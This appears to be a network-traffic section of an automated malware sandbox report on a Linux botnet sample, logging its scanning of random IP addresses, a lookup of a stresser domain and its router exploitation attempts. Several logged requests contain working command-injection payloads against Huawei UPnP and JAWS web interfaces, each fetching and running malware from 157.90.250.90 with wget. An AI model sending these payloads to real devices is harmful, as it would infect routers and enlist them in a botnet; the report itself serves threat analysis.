Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/x86_64.elf (PID: 6216)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 48.182.102.28
Source: unknown	TCP traffic detected without corresponding DNS query: 201.87.194.67
Source: unknown	TCP traffic detected without corresponding DNS query: 203.37.56.95
Source: unknown	TCP traffic detected without corresponding DNS query: 27.72.250.28
Source: unknown	TCP traffic detected without corresponding DNS query: 18.206.31.141
Source: unknown	TCP traffic detected without corresponding DNS query: 199.109.228.164
Source: unknown	TCP traffic detected without corresponding DNS query: 101.255.81.175
Source: unknown	TCP traffic detected without corresponding DNS query: 199.214.122.189
Source: unknown	TCP traffic detected without corresponding DNS query: 54.207.24.157
Source: unknown	TCP traffic detected without corresponding DNS query: 59.166.23.54
Source: unknown	TCP traffic detected without corresponding DNS query: 31.38.117.3
Source: unknown	TCP traffic detected without corresponding DNS query: 164.251.30.181
Source: unknown	TCP traffic detected without corresponding DNS query: 61.135.143.195
Source: unknown	TCP traffic detected without corresponding DNS query: 104.56.171.136
Source: unknown	TCP traffic detected without corresponding DNS query: 136.56.226.117
Source: unknown	TCP traffic detected without corresponding DNS query: 97.145.122.207
Source: unknown	TCP traffic detected without corresponding DNS query: 208.93.5.2
Source: unknown	TCP traffic detected without corresponding DNS query: 169.35.85.203
Source: unknown	TCP traffic detected without corresponding DNS query: 66.192.213.135
Source: unknown	TCP traffic detected without corresponding DNS query: 58.147.73.171
Source: unknown	TCP traffic detected without corresponding DNS query: 155.1.16.4
Source: unknown	TCP traffic detected without corresponding DNS query: 184.236.188.55
Source: unknown	TCP traffic detected without corresponding DNS query: 185.113.69.208
Source: unknown	TCP traffic detected without corresponding DNS query: 216.218.185.78
Source: unknown	TCP traffic detected without corresponding DNS query: 168.147.66.219
Source: unknown	TCP traffic detected without corresponding DNS query: 161.84.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 53.169.165.68
Source: unknown	TCP traffic detected without corresponding DNS query: 195.103.148.191
Source: unknown	TCP traffic detected without corresponding DNS query: 51.239.194.79
Source: unknown	TCP traffic detected without corresponding DNS query: 5.188.2.157
Source: unknown	TCP traffic detected without corresponding DNS query: 154.54.207.41
Source: unknown	TCP traffic detected without corresponding DNS query: 20.84.253.217
Source: unknown	TCP traffic detected without corresponding DNS query: 114.186.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 219.130.135.82
Source: unknown	TCP traffic detected without corresponding DNS query: 108.148.101.115
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.191.128
Source: unknown	TCP traffic detected without corresponding DNS query: 176.172.68.175
Source: unknown	TCP traffic detected without corresponding DNS query: 174.212.102.123
Source: unknown	TCP traffic detected without corresponding DNS query: 159.188.128.182
Source: unknown	TCP traffic detected without corresponding DNS query: 9.28.92.198
Source: unknown	TCP traffic detected without corresponding DNS query: 184.149.247.127
Source: unknown	TCP traffic detected without corresponding DNS query: 180.234.31.110
Source: unknown	TCP traffic detected without corresponding DNS query: 38.53.177.100
Source: unknown	TCP traffic detected without corresponding DNS query: 186.147.27.27
Source: unknown	TCP traffic detected without corresponding DNS query: 48.236.85.101
Source: unknown	TCP traffic detected without corresponding DNS query: 149.6.117.152
Source: unknown	TCP traffic detected without corresponding DNS query: 5.117.219.227
Source: unknown	TCP traffic detected without corresponding DNS query: 146.235.228.42
Source: unknown	TCP traffic detected without corresponding DNS query: 202.255.36.14
Source: unknown	TCP traffic detected without corresponding DNS query: 130.207.17.102

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
